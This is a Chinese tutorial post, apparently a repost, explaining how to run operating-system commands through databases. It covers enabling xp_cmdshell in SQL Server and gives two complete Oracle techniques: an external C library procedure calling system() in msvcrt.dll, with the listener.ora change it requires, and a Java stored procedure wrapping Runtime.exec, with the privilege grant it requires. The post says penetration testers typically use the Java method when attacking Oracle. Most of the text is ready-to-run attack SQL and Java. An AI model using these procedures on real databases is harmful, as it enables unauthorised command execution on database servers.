前端之家收集整理的这篇文章主要介绍了
Oracle 任意命令执行,
前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。
Oracle环境下执行系统命令的相关内容
1、这里先提一下在sql Server中执行系统命令的方法:
执行命令的sql语句:EXEC xp_cmdshell 'whoami'
由于数据库默认的安全策略,xp_cmdshell是被禁用的,但是可以开启,不过前提是权限足够,很多时候都是直接用sa登录的,所以权限不是问题。
启用xp_cmdshell的sql语句:EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
2、Oracle的sqlplus命令行客户端中的host命令说明:
host是sqlplus的内置命令,作用是执行外部扩展命令,也就是执行本地系统命令,因此通过这种方式执行的是当前操作系统的命令,这就相当于是sqlplus的操作者在自己的系统上开了个cmd窗口执行命令一样,执行的并不是远程数据库所在系统的命令。
3、Oracle执行远程命令:
第一种方法:
CREATE OR REPLACE LIBRARY
exec_shell AS 'C:\windows\system32\msvcrt.dll';
/
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec (cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
exec oracmd.exec ('whoami > D:\110.txt');
备注:
这个方法需要修改一处配置并重启数据库监听器。
具体在 C:\oraclexe\app\oracle\product\11.2.0\server\network\ADMIN\listener.ora 的第6行添加 (ENVS = EXTPROC_DLLS=ANY),改成类似如下这样:
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
(SID_NAME = PLSExtProc)
(ORACLE_HOME = C:\oraclexe\app\oracle\product\11.2.0\server)
(ENVS = EXTPROC_DLLS=ANY)
(PROGRAM = extproc)
)
...
说明:这种方式执行命令的原理就是通过C语言调用外部动态链接库中的api函数;考虑到还要修改配置文件,所以这种方法的通用性不如第二种方法好,就上面这个例子而言,要成功执行必须是在安装了VC运行时库的Windows系统上,因为这里就是通过调用msvcrt.dll中的system()函数实现命令执行的。不过这种方法也有一个优点,那就是在Oracle的Express版上也能用,相反第二种方法就不行。
第二种方法:
create or replace and compile
java source named "java_util"
as
import java.io.*;
import java.lang.*;
public class java_util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int ret = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis = new BufferedInputStream(p.getInputStream(),bufSize);
int len;
byte buffer[] = new byte[bufSize];
while ((len = bis.read(buffer,bufSize)) != -1)
System.out.write(buffer,len);
ret = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
ret = -1;
}
finally
{
return ret;
}
}
}
/
create or replace
function run_cmd(p_cmd in varchar2) return number
as
language java
name 'java_util.RunThis(java.lang.String) return integer';
/
create or replace
procedure shell(p_cmd in varChar)
as
x number;
begin
x := run_cmd(p_cmd);
end;
/
exec shell('whoami > D:\120.txt');
备注:
如果是在sqlplus客户端中执行以上sql语句,则可以通过如下方法查看执行命令后返回的结果:
在执行shell存储过程之前执行以下两条语句:
set serveroutput on;
exec dbms_java.set_output(131072);
执行shell存储过程时可能报权限不足无法执行命令的错误,通过如下方法赋权:
exec dbms_java.grant_permission( '当前登录用户名','SYS:java.io.FilePermission','<<ALL FILES>>','execute' )
说明:这种方式执行命令的原理就是java存储过程,因此通用性非常好,渗透测试人员攻击Oracle时通常都是这样执行系统命令的。最后提一下,因为Oracle的Express版是不支持jvm的,因此这种方法在Express版上无效。
原文链接:https://www.f2er.com/oracle/209898.html